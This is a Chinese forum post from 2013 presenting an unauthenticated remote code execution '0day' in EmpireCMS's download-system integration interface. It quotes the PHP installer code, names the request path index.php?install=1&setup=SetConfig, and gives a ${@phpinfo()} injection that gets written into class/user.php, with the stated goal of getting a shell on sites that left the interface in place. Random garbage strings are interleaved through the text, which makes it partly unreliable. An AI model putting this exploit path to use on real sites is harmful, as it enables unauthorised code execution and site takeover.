找回密码
 立即注册
查看: 2905|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们7 F9 X2 p; K- x  F: m6 ~5 p  R$ E
$ A7 N1 N& N6 ]: n4 G

) u4 t" s  k5 F; u: u/ x1 I
这是帝国的一套下载系统 如图! Z- `" U% Z0 J% E0 \) N9 |
ps(不需要任何账户和密码,直接写shell)


* D4 B: q* x7 F  ]

由于很多站是由于下载要整合discuz 等等一些论坛....
" R2 x' J( E, t4 H( u; p- O& F


+ W+ Y/ t! @5 V" _( {/ }0 L

而帝国他又有一个万能接口,如图


+ n7 h% g. T: K% x: \% |' h" u% `3 X" o( W- z4 |

& C+ C6 g+ i6 Y0 h8 s, ?; o( C/ v

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码3 U/ m% t& Z7 |- f4 c
+ B) ?% @/ ?( Q+ `, ]2 C
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪! {# l# H* [) D2 S# p3 y

$ Q7 c& N' q2 k, B# U在data/fun.php中的15行9 j9 f& _+ [/ K# [
& ?* R: |+ S% b( j) g% S1 {  F
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {6 w0 J) t; s% F3 ^: D  z1 @
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干$ x7 |# z# B3 n; b1 K# }: `- Z
0 h' n4 w8 ~! m. W# N
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
- N( C& i. ]% W+ [" f
8 L: b8 j# k/ a* M# n他将传进来的变量进行了切割,然后赋给了$filetext7 q* c! o% z6 @& O2 \

% C- j0 k  d* a* N. \1 M: [2 u7 f" K! x然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了  E1 m" f$ p, G) f( ^+ v

* F( ?+ H' a4 s3 |2 l# y$ V我们看看写入的结果,随便填一个

" }. w9 \: g, p+ @! I

) ~3 X( Z+ t7 I# m
* e! p* ]6 @$ T. {+ C  `
' w& \, u- Q% N# L4 B- e9 l$ w" J" }' ^, G
! s- q8 a; }# Q, w  O

' i# i8 X' k# k9 m( ]: F- b& j
# }: i' W& i( q: _- A

8 y. Q+ a* g% \0 T4 D
" R7 {/ U- T5 ?- W; T
) L# G- J' i  Q& C" @7 D0 O! N
* |* s/ x. @9 j& V% {3 t5 S2 p
/ N; q0 T" ^7 {8 W- |
( B9 M5 ]6 J* |' B) T# O$ \
6 C% S- i0 M% [3 H5 F
8 k0 G# g. e; ~! D; s  y

" u& e, o$ p) D% f% m  v6 u5 o
, l# V, c9 u+ w
7 @  m( d. _' d! Z, m- j$ c6 m+ o: V5 k2 z0 K8 `4 `6 o9 k! j; ?# |* B

  @5 o% C0 {- T/ d/ x8 Z+ P! h/ }; D- m& ?' e) C3 b/ E! S3 O

所以我们淫荡点,写个${@phpinfo()}试试

) ?2 u8 T! Z. Y

然后访问以下class/user.php这个文件
& k6 t: N& @8 i9 m& C日了吧


: A6 d1 j5 J# b# T: d  X$ \
- i* M2 i+ N& Q5 D

( c. ~" X! r& [
6 o' n! m* F5 L6 A8 m
5 K: S- v: A3 k- E" p2 U( R: A

. {  N2 k' y' A- W

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表